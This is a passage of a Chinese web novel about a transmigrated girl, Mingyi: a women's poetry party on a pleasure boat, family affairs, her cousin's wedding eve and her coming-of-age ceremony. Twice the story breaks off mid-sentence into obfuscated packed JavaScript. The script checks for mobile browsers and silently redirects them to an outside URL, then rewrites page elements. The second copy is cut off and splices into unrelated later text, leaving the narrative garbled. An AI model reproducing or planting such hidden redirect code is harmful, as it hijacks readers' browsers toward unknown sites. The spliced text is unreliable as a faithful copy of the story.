说着,顾夫人又将自己案上的蟹粉豆腐放到了明夷桌上,叮嘱道:“好吃就多吃些,不够就和娘亲说。” 赵夫人看着母女两人的动作,笑道:“从前只知你是山林间不食人间烟火的兰君子,今日一看,沾了红尘的露水越发显得温婉动人。” 顾静翕不好意思地抿了抿嘴,与人又打趣了两句,忽然听到坐在左上窗户处的苏夫人说道:“我今年打算将自己这些年作的诗文付梓刊刻,届时你们谁愿意帮我写序啊?” 一句话似水滴进了油锅,场面顿时喧闹起来,大家三言两语的讨论着,祝贺声此起彼伏,各种推荐的,自荐的也不绝于耳。 明夷听到赵夫人恭喜道:“总算要出来了,听说你都筹备好几年了,实在不容易啊。” 苏夫人也感慨道:“那可真是千辛万苦啊,今年过年的时候我在家里提了,我那婆婆当时直接筷子都扔地上了,训斥我不好好侍奉丈夫,管理家宅,成天舞文弄墨,不守规矩。我家老爷本来都答应了,结果回去也劝我,说什么妇言不易张扬于外,气得我年都没过好!” “那后来又是怎么解决的呢?”一个摇着团扇的年轻粉衣女子好奇道。 “我只说我编这本诗集并不是为了在外扬名,只是想写给女儿姑嫂看着顽,再说这家里一应事务都是我在管,从没出过什么岔子,这付梓用的也是我的嫁妆钱,好说歹说才让家里那几人让了步。” 周围一众人俱是低头叹息,想来也是感同身受。赵夫人瞧着气氛不对,出来打圆场,又问道:“名字起好了吗?” 苏夫人点点头,“叫《焚草集》。” 周围又是一阵叹息声,方才一直不言的南嘉疑声道:“上回不是听您说打算叫《蒹葭思》吗?” 苏夫人哀叹一声,“总得面上过得去。” 南嘉眉头蹙起,似是还想说些什么,但最终只是端起手中的琉璃盏抿了口里面的酒水。 现场气氛一片沉寂,赵夫人左看看右瞅瞅,在座各位,不是低头握着酒杯发呆的,就是看着窗外叹气的,哦——还有个筷头不停,低头吃菜的小明夷! 兀自摇了摇头,笑着站起来道:“敬柔的诗集能够付梓可是大喜事,大家别都垂头丧气的,快快举起手中的琉璃盏,咱们祝敬柔一杯!” 众人先是愣了愣,又很快反应过来,纷纷蹲着酒杯起身。霎时,环佩相击如东珠落玉盘,金丝步摇轻颤,满堂烛影里浮起层层叠叠的琥珀光。 夫人小姐们擎着琉璃盏,笑涡里漾着胭脂色的酒晕,软缎披帛掠过从纱幔漏下的月光,将诚挚的祝福酿作满室叮咚作响的欢声笑语。 24. 柘枝舞 大家乐呵呵的喝过几轮,苏夫人面色酡红,举着酒杯摇摇晃晃道,“嗳唷,这外头的花香熏得我头昏,咱们要不以这荷为题,不拘五言七言,由着性子赋诗一首?” 一位穿着绛紫绫罗广袖衫的夫人笑骂道:“净瞎说,哪是花熏的你头晕,是这酒把你醉倒了!” 又一黄衣小姐柔柔道,“苏姨您这杯子就没离过手,面前的酒壶都要空了,快快放下吧,不然明早又该头疼了。” 赵夫人翘着兰花指扶了扶鬓边的碧玺珠花钗,“她自闺女嫁了后在家里闷烦惯了,今个儿难得高兴,你们都别拦她,让她痛快些!” 顾静翕也应和道:“是这样不错,快喊人再上几壶荔枝酒来!劲头上来了咱们也好作几首诗品品!” 明夷看着娘亲不同以往的豪爽样子,案上的金素杏叶壶都不知是什么时候空的,敢情酒色全跑脸上了。再瞅瞅周围一片,得,素日端庄的一丝不苟的夫人们如今俱是钗歪领斜的模样,含蓄婉约的小姐们躺倒在椅背上,手里团扇舞得飞快。 侍女们将各色花笺并笔墨摆在每人案前,可怜明夷手上的糟鹅掌才啃了一半,只得默默放下,找丫鬟要了块帕子净手,咬着笔头苦思冥想起来。 满船珠翠安静下来,众人俱是低头写着。南嘉姑娘最先搁笔,她的诗写在洒金笺上,墨迹未干便交由侍女由着众人传阅。 传至几多人手,座中已有妇人以帕掩口,挑着眉毛笑着摇头,还有小姐美目睁圆,面色绯红,不知是被酒熏的还是别的什么。 诗笺传到明夷手中,只见上面写着:湖上娇娇女,素足濯清光。红莲斜出水,雪藕两瓣香。 明夷大囧,想笑又不敢笑,在这妇女出门都得带帷帽的社会,对于那些未出阁的小姑娘来说确实是有点香艳了,难怪个个脸红成这样。努力绷紧脸上的笑容,默默将诗笺递给娘亲,又提笔给自己的小诗填上最后几个词。 顾静翕接过女儿递来的诗,只看了两眼就抬头冲南嘉舒颜一笑,后者大方的拱了拱手,眉目间神采飞扬。 赵夫人接过,仔细读了两遍,就爽利地冲着众人笑道:“还得是南嘉姑娘啊!看看这‘红莲’、’雪藕‘,把咱们女人的身体写得多漂亮!” 又看了看对面的几位小姐,有些促狭道:“你们这些做姑娘的也别害羞,都是爹生娘养的,咱们身上哪里不好?” 说着又取下腰上挂着的荷包,从里头掏出一条小鱼儿状的金锭子,对着南嘉道:“姑娘,来!可要接好了!” 南嘉旋即推开凳子直起身,捊了捊袖子,玉藕似的手臂往前一伸,一把将金鱼儿抓在手里,往众人跟前送了一圈,又马上揣回自己的荷包里,冲着赵夫人福了福身,娇笑道:“南嘉在此谢过夫人的小鱼儿了。”众人又是一阵哄笑。 摇着鱼戏莲叶团扇的黄衫姑娘捏着南嘉的诗笺眉头微微蹙起,有些不解道:“这是不是有些不合规矩?《女诫》中——” 赵夫人打断道:“咱们这不谈劳什子女四书,全凭自个开心。”说着又话音一转,“宁姑娘觉得这诗如何?” 这位被称做宁姑娘的黄衣少女有点迟疑的点点头,“我心里很是喜欢,只是这有些过于大胆了,我之前从未见过这样的……” 苏夫人拍了拍少女的肩,慢悠悠道:“宁姐儿,规矩都是做给人看的,人前咱们装装面子,背后无人时就由着性子来,喜欢什么、讨厌什么大胆说,可别被那些糟蹋人的条条框框给憋坏了你这颗七窍玲珑心。” 少女有些懵懂,又低头有看了好一会笺上的诗句,犹豫着起身,垂着眼帘朝南嘉福了福,有些不好意思道:“南姑娘,请问这张诗笺可以赠与我吗?” 南嘉挑了挑眉,似是有些意外,施施然走到少女跟前,将诗笺接过,仔细叠好后又摸了个两指宽的福禄荷包出来,取了朵冰鉴上装饰的金丝梅,与诗笺一并装了进去,低头系在少女腰边。 “既是赠与宁姑娘,自是要亲自送到你手上。” 南嘉唇上的胭脂在烛火下越发显的艳色逼人,惹得宁姑娘脸红了又红,一旁默默吃瓜的明夷感叹道,不怕姐姐长得美,就怕姐姐又美还会撩,这谁抵得住啊。 这时,一位梳着双环髻的粉衣姑娘举着张碧色花笺问道:“敢问明夷姑娘是哪位?你这句‘风扶荷影碎,酒渍月痕残’我很是喜欢!一读起来,仿佛就看到风下晚荷,人醉池边的场景!” 明夷大惊,没想到竟有人当众喜爱她的诗,实在是有点受宠若惊。 连忙站起来道:“姑娘莫非是明夷肚里的蛔虫不成?我写时正好瞧见荷叶摇曳,就想到了晚风吻尽荷花叶,任我醉倒在池边的场景,于是就有了这句诗,能得姑娘……姑娘名字是?” 粉衣姑娘弯起漂亮的桃花眼,笑道:“我姓林,闺名时夏,出自‘我求懿德,肆于时夏’。” 明夷学着刚刚南嘉的样子朝林时夏拱了拱手,道:“时夏姑娘方才所得与我之所想并无二致,能得你之喜爱,明夷内心实在高兴不已。” 林时夏瞧着这位明夷姑娘年纪许是小她两三岁,然举手投足间落落大方,说话更是妥帖又有趣,不自觉心生欢喜。于是端着琉璃盏走到明夷旁边,大方道:“我一见明夷姑娘就觉十分亲切,许是咱们之间有缘,不知可否赏脸与我喝一杯?” 明夷一听,趁着娘亲正低头看着她作的诗句,迅速把其桌上的荔枝酒顺过来给自己满上,胭脂色的酒液在琉璃盏里淌着光。 女孩与时夏姑娘碰了碰杯,仰头喝了一大口,果酒甜滋滋的,味道可比原先杯里的茶水好多了。 与林时夏又聊了几句日常做的诗画刺绣,又点评了一下刚刚的菜肴,发现两人果真投缘的很,互相留了地址,约定日后定要时常通信,黏黏糊糊好一会儿才各自坐了回去,听着别人评述手里的小诗。 适时,侍女又给每人端上来一个水晶挖凿出来的斗笠碗,里头盛着用木樨花糖渍了的糯米圆子,浸在冰镇酸梅汤里,汤面还飘着鲜薄荷尖,碗边留有一小笺,上面写着几个大字——冰雪冷丸子。 明夷执起银匙舀了半勺,甫一入口,一股带着木樨香的凉气便漫过齿关,转瞬又被梅子汤的活酸激得舌底生津,凝脂般的糯米丸子个头小小,咬起来糯中带韧,竟让人嚼出几分新麦初熟的味道。 水晶钵旁还新摆了个紫檀提盒,里头盛满了冰块,卧着几枚梅花薄饼。饼皮层叠如雪,每揭一层便落下柳絮似的碎屑,内馅香甜的玫瑰卤混着焦香的核桃碎,咬下去先是“咔嚓”一声闷响,继而满口甜香。 众人的诗已轮了一圈,三三两两的凑在一起聊天,明夷瞧见娘亲被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436068|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人围在中间,袖袋里塞满了别人赠的诗笺。宁小姐和南嘉站在一处,也不知在说些什么,逗得前者娇笑连连,险些将耳边的白玉菩提坠子晃掉一只。 画舫缓缓往回,挤着层层叠叠的荷叶推开一池星子,船头灯笼穗子扫过水面,惊起几只萤火虫撞到竹帘上。 琵琶声就是在这时响起的,梳着抱月鬓的琵琶娘子抱着曲项琵琶坐在中间,指尖刚滚出半阙《汉宫秋月》,便被临安绸缎庄的肖夫人笑嚷着打断:“好个促狭的,大好的日子,非拿这哭唧唧的调子败兴!” 众人也笑喊道:“该罚!该罚!” 旁边的琴师指尖一划,流水般的曲调漫过半透的纱幔,琵琶娘子指尖一转,婉约流畅的《春江花月夜》倾泻而出,萦绕在每个人的耳边。 忽然有缕裹着晚香玉的甜风掠过,原是南嘉解了石榴红的披帛,赤足踏着船板跳起了柘枝舞。 十指蔻丹映着烛火,竟比外头半开的红蕖还要艳烈三分,直把以明夷为代表的一众姑娘看得双眼发直。 顾静翕朝丫鬟要了个小鼓来,三两下敲出清脆的节奏,乐声随着鼓点转而急促,南嘉踩着节奏愈旋愈快,披帛化作火凤的翎羽,发间金步摇只剩下模糊的残影。 “都来都来!南嘉跳上了,就连静翕都打上鼓了,咱们不得做些什么?”赵夫人也不管鬓边簪歪了的玲珑八宝簪,敲着秘色瓷杯恣意道:“有了!咱们就改一阕李太白的《将进酒》!” 众人纷纷叫好,瞬间,琉璃杯、白玉盏、犀角觥叮叮当当碰作一团,吴侬软语混着爽脆官话,硬是把“呼儿将出换美酒”唱成“今夜嫦娥霓裳舞”。 宁小姐折了枝红莲掷给正在跳舞的南嘉,后者反手将红莲咬在唇间,脖颈猛地后仰,腰肢折似宝弓张弦,又在瞬间倏地起身,扬臂若惊鸿掠水。 明夷怔怔衔着半块梅花薄饼,酥皮碎屑混着口脂沾了满襟,喃喃道:“像是一团火在烧……” 鼓声又旋急改了节奏,南嘉忽将左足高抬过额,缀着金铃的脚链哗啦一响,竟用足尖勾起案头的紫毫笔。腰肢如蛇般扭动,笔锋画出一道残虹,顾静翕腾手凌空一握,挑衅似的看了舞者一眼,手下节奏更加诡变。 只见南嘉反手扬纱作飞天势,左臂屈如胡僧托钵,右臂展若将军挽弓,心应弦,手应鼓,左旋右转不知疲,忽然一臂捞住宁小姐腰间玉带,借力腾空倒翻,石榴裙绽成火莲,引起阵阵惊呼,再定睛一看,宁小姐耳边红莲艳艳,面似晚霞绯红。 众人执着银箸和着鼓点敲击着酒杯,腕间虾须镯撞得叮咚乱响,嘴里齐齐唱着:“将进酒,杯莫停。” 不知哪位娘子忽然喊了句“天生我材必有用!”引得大家乱了节奏,又是哄笑声一片。 明夷被着气氛感染,一杯接一杯的,不自觉喝光了面前那壶新上的荔枝酒,扶着脑袋晕乎乎的起身,说要去船舷透气。 凉爽晚风将面上的红晕吹散开来,女孩两三下把绣鞋踢进荷花丛里,嚷着要学采莲女唱菱歌,结果又是一阵鬼哭狼嚎,听得屋里一众不知所云,哭笑不得。 直到子时梆子声响,画舫渐渐靠岸,两岸酒楼渐次熄了灯烛,船上刚好唱道:“与尔同销万古愁!” 哄吵的笑闹声惊起一滩宿鹭,扑棱棱地把水中新月抖落成满河的碎银…… 25. 事情两件半 自画舫回来后,明夷的胃口突然就好了很多。素日生活仍循旧例:晨课午膳,掌灯温书,闲暇时或临几幅工笔花谱,或穿针引线绣些香囊帕角,或执竹竿在莲池钓几尾小鱼,时不时还与母亲一起研究新菜式。 此外,红木西番莲纹的书案上,日益垒高的彩笺泄露了女孩的新癖——写信。 笔友主要有三,吴中孚、方韫之、林时夏。 前面两位泛泛而聊,一般以他们写信,明夷回信为主。若是二位能在信里头多讲些新鲜玩意儿,比如茶楼的评书、街边的小食、山间的溪流、田埂的野兔……便能得女孩主动多问几句。 徐淑仪好几回在写给顾静翕的信中感叹,孚哥儿最近不再一直闷书房了,人时不时往外跑,筋骨活络了,个子长高了,身体也比以往好了不少。 另一边,柳夫人某日晚上睡前,在替丈夫宽衣时亦纳罕:“韫之最近怎么对市井那些玩意感兴趣起来了?以前叫半天也不动一下,现在倒成天往外跑。” 方大人就着烛火翻着邸报,无甚在意道:“许是想多知道些民生民情?他先生才和我夸他文章破题颇有新意,体察入微。做文章最忌纸上谈兵,韫儿若日后为官,可断不能只端坐于那高堂之上。” 要说明夷聊得最开心的,还属那日画舫相识的林时夏。这林姑娘是临安富商的女儿,年芳十四,家里主要做衣料的生意,也开钱庄,是临安县有名的财神爷。 林姑娘家中排行最小,也是年轻一辈唯一的女儿,上有两位兄长,并堂兄也有几多,自幼是千娇万宠着长大。小时候闹腾的不行,稍大了些又突然娴静下来,诗文章句算不上有多在行,但天生对数字敏感,算盘拨得飞快。 据说周岁抓阄时,满席琳琅物件皆不入眼,偏要挣出锦褥去够那角落的金漆算盘。林父常捋须笑叹,家中子女众多,唯有小女时夏最得他真传。 商贾之家不比文人士族繁文缛节众多,再加上家里娇宠,时夏姑娘每日晨起习女红诗书,午后便绾起双鬟,随父兄穿行于自家铺面翻账核单。 锦绣堆里长成的姑娘自有玲珑心窍,绫罗珠翠、珍馐佳肴皆如数家珍,自个编写的品评本子叠了一摞,明夷每每与她写信,总能得见许多新鲜玩意儿,被女孩戏称为自己“开眼看世界的第一人”。 日子过得寻常,只是接近年关时家中来了两件半事,一是明夷的大伯——王同简考核合格,在当地继续连任,听说再过三年就能再升一阶。二是明夷的三叔——王同宁又又又赔钱了,这次是手上的银子被人用假银子掉包了。 民间有一种叫做“漂白槽银”的假银子,外观就是五两银子一锭的银元宝,与真的颜色并无二致。大周用银子的时间不算长,防伪技术欠缺,商人们全凭经验辨认,王同光无甚经验,但又喜欢拿乔显摆,看着人家手上细丝银锭成色极好,装模作样的验了几锭,就将身上的银两统统和人换了,殊不知,真是好大一个坑。 这王三郎作为家中幼子,自小被惯的有些无法无天,虽算不上酒囊饭袋无用之徒,但也的的确确不学无术。幼时一直被袁老太太拘着读书时倒还好些,等人长大了,无缘仕途转而从商,三教九流的东西学了不少,再加上王老太爷离家修行,袁老太太管事渐少,更是越发放飞自我。 由于在家里头上有两个优秀的哥哥压着,王同光总想着做点什么证明自己,奈何能力不足,个性又急躁易怒,于是乎最易受人蛊惑,这些年府里的帐上,不知从他手上亏了多少。 袁老太太见儿子这样,特意为其娶了个利害老婆,希望能将其管束住。 这三夫人也确实厉害,自一进门,两口子三天一小吵,五天一大吵,虽是有些成效,但效果甚微,于是在生了一对龙凤胎后就转移方向,专心和袁老太太一齐打理家中产业,也算是一种曲线救国。 因此王家现在的行情就是这么个模样——大房外放作官,不理家务。 陈夫人是个头脑简单的,丈夫是家中长子又是个官身,日后分产怎么都少不了他们,再加上自己又嫁妆丰厚,和娘家也亲厚,房里开支定时去账上支,额外开支就自己掏,并不理会家中产业。 二房王同光致仕之后,朝廷每年也有额外的补贴,被明夷戏称为退休金,虽然和王家日常开销比只是杯水车薪,但——不要白不要嘛。 除此之外,日常去家塾上课,族里也会支钱,还有为县里修书等事物,统统都是有钱拿的,加在一起倒也不算少。虽然还未分家,但自己名下也有一些产业,清楚自己身体不好,且也不是做生意的料,于是都交由专人打理,每年收益也不错。 而顾夫人当年的嫁妆虽是继母置办的,但为着面上过得去,倒也没有怎么苛扣。再加上没有同母兄弟,出嫁时硬是要求把母亲剩下的嫁妆也一并带走,顾父因为女儿婚事被替,许是有些愧疚,倒也没有过多阻拦,倒是那继母继妹恨得牙都咬碎了,但也没法子。 总的来说,二房也只是专心打理自己房内的事物,日子过得也挺滋润,夫妇俩均是爱好文艺,不事生产的“文人骚客”,对于家中产业也不大插手。 三房的桑夫人商户出生,在娘家时因着有个风流的爹,家中姨娘不少,兄弟姊妹那是更多,各种手段见识不少,从小都是争抢着长大的。嫁来王家后,与袁老太太联手将王家产业推的更上一层楼,虽丈夫败家,但有她和老妇人两尊拦路虎镇在那里,倒也伤不及根本,目前是王家家业主要代理人之一。 因此,王家三兄弟的生态主打一个各人自扫门前雪,休管他人瓦上霜,连着年轻一代的也不甚亲厚。大房三房的孩子各有姊妹兄弟倒还可以一起说说话,明夷身为稀有的独生女,自己又是个喜欢热闹的,难免感到有些孤独。 不过毕竟壳子里是个二十多岁的成年人,要真像个孩子一样,因为没人玩而难过,明夷自己也觉得太羞耻了,于是乎化不良情绪为学习动力,将无处释放的精力投掷于课业之中,倒一下子学成姊妹中最出挑的。 面对年前结课时沈先生和李嬷嬷的褒奖,明夷骄傲地挺起小胸脯,装模作样地摆摆手,谦虚道:应该的应该的,哎呀呀……不值一提不值一提。 至于最后半件,与林时夏腊月底的来信有关,至于为何是半件?因为它姑且算个谣言,并没有得到证实。 时夏姑娘眼观六路、耳听八方,得来一个小道消息——明夷的三叔被骗后为了躲避母亲和妻子的唠叨,连着好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陶瓮里,牛骨和松茸一起熬煮的高汤煨足了两个时辰,松茸的醇厚与牛髓的脂香在文火中交融成琥珀色的汤汁。雪白的面条不似平常惯吃的银丝面,而是有两指宽,劲道十足的刀削面。铁锅热油,绯红的番茄丁熬出浓浓的汁水,又加入肉沫和菌菇丁,颠着铁锅翻炒几下,最后大火收汁。 青花海碗早用姜片擦过三遍,顾夫人先是舀了半勺雪白的猪油垫底,又浇上两勺色泽透亮的高汤。面条入沸水滚了几道捞起,在碗里盘成漩涡状,再挖一勺酱汁浓郁的浇头,点缀三粒染红的鹌鹑蛋,最后洒上一小把葱花芫荽。 顾夫人用湿布抱着将面端到女儿面前,将筷子递过去,郑重叮嘱道:“一根都不能断哦!” 明夷冲着母亲比了个“没问题”的手势,迫不及待地接过筷子大口了起来,面条劲道十足,嚼起来有股麦子的清香,菌香裹挟着肉香在嘴里翻涌,女孩舀了一勺海椒,吃得鼻尖冒汗,心里计划着等会如何拐骗母亲陪自己做个简易版生日蛋糕。 霜雪在冰裂纹窗外织就素纱,艳红的寒梅落在白雪上,倒与这碗长寿面有些相似。 屋内暖炉吞吐着淡淡的白烟,门上厚重的毡帘拢住了满室的暖意,夫妇俩交握着双手,在簌簌雪声中静静看着女儿鸦黑发髻上缠着金丝的葫芦小簪。 廊下的更漏似乎变得更加绵长,氤氲的热气里,熹宁十四年就在这样一碗长寿面中,挂着雾气绵延向前。 26. 王令妤出嫁 八月末,正值夏末秋初,残留的暑气被初秋的凉爽冲淡稍许,枝头依旧郁郁葱葱,满城丹桂金黄,十里飘香。 王府上上下下挂满了大红灯笼,目光所及之处,均是一样的喜气洋洋。待到明日,府里的大小姐就要离开这座生活了十八年的宅邸,去到另一个完全陌生的家中。 夜晚,琼华轩内,铜雀衔枝烛台上跳着两簇火苗,王令妤的嫁衣铺在黄花梨衣桁间,金线绣的合欢花被照得忽明忽暗。 明夷抱着缠红绸的什锦木盒掀开珠帘时,正巧撞见王堇妤攥着绉纱帕子伏在自家长姊肩头抽噎的场景,王贞妤局促地挨着海棠绣墩,听见珠帘响动如见救星,忙起身将人迎至月牙桌旁。 王令妤掌心仍轻抚着妹妹震颤的脊背——这已是今日第三回哭了,周文砚连着整个周家上下连带祖坟柏树都教她颠三倒四数落个遍。廊下的洒扫婢子近日皆贴着墙根走,生怕触了二姑娘霉头挨一顿好骂。 瞧见明夷进来了,王令妤推了推妹妹的肩,自己倒了杯茶迎上去。明夷连忙将手中的锦盒放在紫檀镂空月牙桌上,接过盖碗茶赧然道:“我可是来迟了,让姊妹几个等我一个。” “恰是时候呢!”王令妤笑着瞥向案头将熄的篆香,“你堇妤姐姐这几天成天赖在我这,贞妤妹妹是方才跟着我母亲一块来的,你这来得正正好。” 说着又往外喊了一声,立刻就有丫鬟捧着一个四寸见方的剔红漆盒进来,将里头的透花糍、酥琼叶、桂花糖糕与牛乳糕一一摆在月牙桌上。 明夷搁下斗彩莲纹盏,笑道:“没迟了就好,不然就是我的罪过了。”说着又把锦盒递给王令妤,“妹妹嘴笨,不会说什么漂亮话,就祝大姐姐新婚快乐,与姐夫并蒂同心,岁岁春醪长醉!” 王令妤笑着道了谢,将红绸拆开,指尖轻点锦盒铜制锁扣,只见里头卧着一支两寸有余的绒花簪子。 令妤小心翼翼地将簪子拿在手上细细看着,引得王堇妤也凑了过来,王贞妤坐在一边赞叹道:“好精巧的绒花,之前就撞见过三姐姐拿着镊子打尖,原是在做这个。” “是哩,四妹妹好眼力!这簪子名字叫‘福寿三多’,是由绶带鸟、石榴、佛手柑和桃子组成,寓意吉祥如意,多子多孙,我想着做来给大姐姐是再合适不过了。” 王令妤拿着簪子走到镜台前对着自己的发髻比划,寻思簪到哪里合适,王堇妤凑到镜前,伸手帮姐姐将绒花簪入鸦青鬓间,看着镜中鲜妍娇美的脸庞,泪珠子又哗的滚落,嘴里嘟哝着:“我的姐姐,我这般好的姐姐.……” “快收了你那东海泉眼罢。”王令妤捏着妹妹下巴轻晃,“眼睛都肿成桃子样了,明天还如何见客啊?我看那些嫁妆箱子都该空着,专装我们二姑娘的东珠。 明夷和贞妤噗嗤一声笑了出来,递了快帕子跟着劝道:“是啊二姐姐,你要是再哭下去明日就该顶着两个核桃眼去见宾客了,多丢大姐姐面不是?” 王堇妤一听,堪堪止住眼泪,着急道:“那可怎么办啊?” 王令妤摸了摸妹妹的头,“我早让人把玉容膏冰镇起来了,等会就让人拿来,只是咱们别再哭了好不好?” 王堇妤抽噎着点了点头,牵着姐姐在明夷旁边坐下。 除了令妤堇妤两姊妹,四个姑娘平日除了上课,在一起嬉聚的时间并不多,现下突然安静下来,气氛稍稍有些尴尬。 明夷最怕冷场,若是人多就罢了,反正也无人注意到她,最怕这只有几人的场面,还都是熟人,女孩绞尽脑汁,总算想了桩事说出来 “不知你们可还记得今岁端午后上闺塾那日,后院的石榴熟了,咱们几个趁下课跑去摘,我和四妹妹拿裙子兜着,走到花厅时不小心掉了几个下来,不但把石榴砸的稀巴烂,还把自己绊了一跤。要说这些都还好,结果我倒下时不小心把沈先生的砚台带翻在地,弄了她一裙松烟墨。最后被罚抄《女诫》,整整五十遍!要不是你们帮着我一起,真不知道得抄到何年何月。” 说完又暗暗懊悔,该死,转的太突兀了,完全没发挥好。 王贞妤显然也是个怕冷场的,明夷刚一说完,就马上笑着附和道,“我也还记得一个,有段时间我喜欢在课上偷偷看话本子,结果被李嬷嬷没收了不少,那都是我求着哥哥悄悄买给我的,心疼死我了,最后还是几位姐姐帮着我一起要回来的,尤其是三姐姐,替我讨要的模样,倒比话本子里的侠女还飒爽三分。” 王令妤被勾起了少女时光的回忆,有些怅然道:“我倒盼着再被先生罚抄呢。” 少女指尖划过嫁衣上密密匝匝的针脚,“上月绣这嫁衣时,才知从前女红课偷懒的债总是要还的,各位妹妹可千万好好不要学我啊。” 屋内摇曳的烛火突然爆出灯花,王堇妤摸着嫁衣上的金线,不赞同道:“姐姐又说这假面子话,明明都绣的这般好了,还在这里说这些,你这样子真讨人嫌!” “好你个小丫头,刚刚是谁拉着我袖子哭得鼻涕眼泪糊一脸啊?现在倒还嫌弃我来了!”王令妤伸出食指用力点了下妹妹的脑门,佯装发怒。 王堇妤捂着自己的额头,抗议道:“不舍得是不舍得,你讨厌是你讨厌,这又不冲突!我是你亲妹子我才和你说这些的!” 剩下三个姊妹被二姑娘的话逗得直乐,王令妤又孜孜不倦得揭自己妹妹的短,“说起女红,三妹妹和四妹妹怕是没见过堇妤给我绣的里衣,那好好的鸳鸯硬是被她绣成了山鸡,晚上喝汤时我都怕那是从衣服上跑出来的!” 边说着边“啧啧啧”地摇头,逗得明夷她们哈哈大笑,王堇妤小脸涨红,不服气道:“明明就是你眼睛不好!那么栩栩如生的鸳鸯就你眼瞎看不出来,你快把那里衣拿出来让两个妹妹好好评判一下,别平白污了我清白!” 说着又像是气不过似的,拿起一块透花糍狠狠咬了一口,气鼓鼓道:“要不是母亲说新妇头三月要穿姊妹赠的里衣才稳妥,我才不费这么大功夫呢,害得我挑灯绣了好几个晚上。” 王令妤亲热地捏了捏妹妹的脸蛋,将她手里吃了一半的透花糍忽地夺了过去,佯装惊讶道:“上个月做衣裳时,是谁说自己腰身宽了係不上去年的裙子了 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贞妤缩着脖子连连求饶,结果不想堇妤和明夷也加入了挠痒痒大军,姑娘们闹作一团,胭脂匣在嬉闹间翻作胭脂雨,月牙桌霎时开遍艳丽的团团海棠,倏得让人想起某个夏日午后,她们学规矩时不小心泼在书卷上的桑葚酒。 三更声响,堇妤伏在姐姐膝头上哼起闺塾时常唱的小调,明夷裁好的远山黛、新月痕散落镜台,贞妤点着脑袋撑在桌旁昏昏欲睡…… 王令妤呆呆地望向菱花镜,镜中重叠着少女们的身影,月漏的声音点点滴滴,恍惚又回到那个蝉鸣聒噪的午后,她们躲在碧纱橱里,用先生戒尺量着手心红印,争论谁挨的罚最重…… 八月廿七,酉时三刻,数盏缠枝莲纹羊角灯悬在朱漆廊柱上,西角门当值的婆子踮着脚尖调整着最后一盏羊角灯笼,东厨几个小厮合力抬出了半人高的青花瓷坛,那封存十八载的女儿红到底见了天光。 待到日暮霜露初凝时,陈夫人握着犀角梳穿过女儿鸦青色的长发,嘴里念叨着 “一梳梳到尾,二梳白首齐眉,三梳……” 菱花镜里映出母女二人的面容,十八年光阴仿佛在这之中一帧帧重现,当年窝在膝头撒娇的玉雪团子,转眼成就了云鬓高绾的新嫁娘,陈夫人看着女儿一身火红嫁衣,霎时喉间哽咽再续不得下文,王令妤回身环抱母亲,两人抽噎不止。 边上伺候的梳头娘子见了忙捧来浸了玫瑰露的丝帕,着急道:“大小姐快把眼泪擦擦,仔细这刚上好的妆,万不能误了吉时啊。” 管事嬷嬷搀起陈夫人颤抖的手,也道:“大夫人莫哭了,前头的宾客可都在等着您去招待啊。” 母女俩执手相看泪眼,似有千言万语要诉,终是无语凝噎,骨肉相连的母女,终是要分开了,膝下承欢的娇娇女,就要成为别人的妻子了。 戌时梆子响过三声,送妆队伍的蜿蜒至长街尽头,陈夫人攥着门环哭得几欲栽倒,顾夫人和桑夫人对视一眼,俱是红了眼眶。 大家都是有女儿的,自己也曾做过姑娘,个中滋味又如何能不晓得? 陈夫人的枫桥院今夜烛影摇红,破天荒的,素来不睦的三房主母竟坐在一处,共饮至东方既白。 27. 上元佳节 熹宁十六年,正月十五。 几载寒来暑往,岁月倏忽而过,这是明夷来到这个世界的第三个年头,也是她十五岁的及笄礼。 琉璃灯盏映得王氏祠堂恍如白昼,明夷跪在蒲团上,听见墙外传来闹元宵的唢呐声。 “初加!” 徐淑仪款款走到明夷面前,从礼官手上捧着的金丝楠木托盘中取过青玉竹节簪,簪进少女鸦青的鬓发间。 明夷起身向淑姨和母亲行礼,林时夏身为赞者,从礼官手中接过素纱襦裙,陪明夷回房更换。 再出来时,百褶月华长裙扫过石阶,银线暗绣的百花纹在祠堂烛火中若隐若现,明夷面向父母亲,双手交叠覆额,跪谢父母养育之恩。 顾静翕和王同光端坐在紫檀镶理石太师椅上,颔首受礼。 “二加——” 林时夏轻轻将明夷头上的青玉竹节簪去下,徐淑仪接过嵌宝石金凤簪,高声吟诵祝词,为少女二次加礼。 明夷再次回屋换上金丝鸾纹立领长衫与红色暗花缎绣云蟒裙,跪地拜谢师长与正宾。 待到礼官喊道“三加”,顾静翕为女儿戴上嵌宝石金凤冠,穿上玉色绫锦对襟披风,明夷面向天地,行完最后一礼。 吴中孚肃立在徐淑仪侧边,眼睛一错不错地盯着跪在中间的少女。自叶府一别,两人已三载未见,昔日女孩惯梳的三小髻换成了高耸的挑心发髻,发间飞舞的丝绦也被华贵的金冠取代,抬首面向众人时,端得是芳殊明媚,光华耀众。 明夷头天晚上就没休息好,脑袋里不停的过着及笄礼的流程,生怕自己出什么岔子。 自去年观看了王堇妤的及笄礼,少女惊讶原来古人的成人礼竟然如此复杂繁琐,哪像她当初,学校就放了两节课的假,先听领导的长篇大论,然后再过个泡沫板搭建的成人门,最后和父母吃了顿饭,晚上又灰溜溜地滚回教室上晚自习。 读大学后时不时在手机上刷到别家孩子的各式成人礼,对比自己的仓促简陋,内心不免有些遗憾,只是逝去时光不再来,明夷睡前在烛光下抚摸着母亲为她准备的衣饰,不禁感慨人生无常,未尽的念想竟然以这种方式实现了。 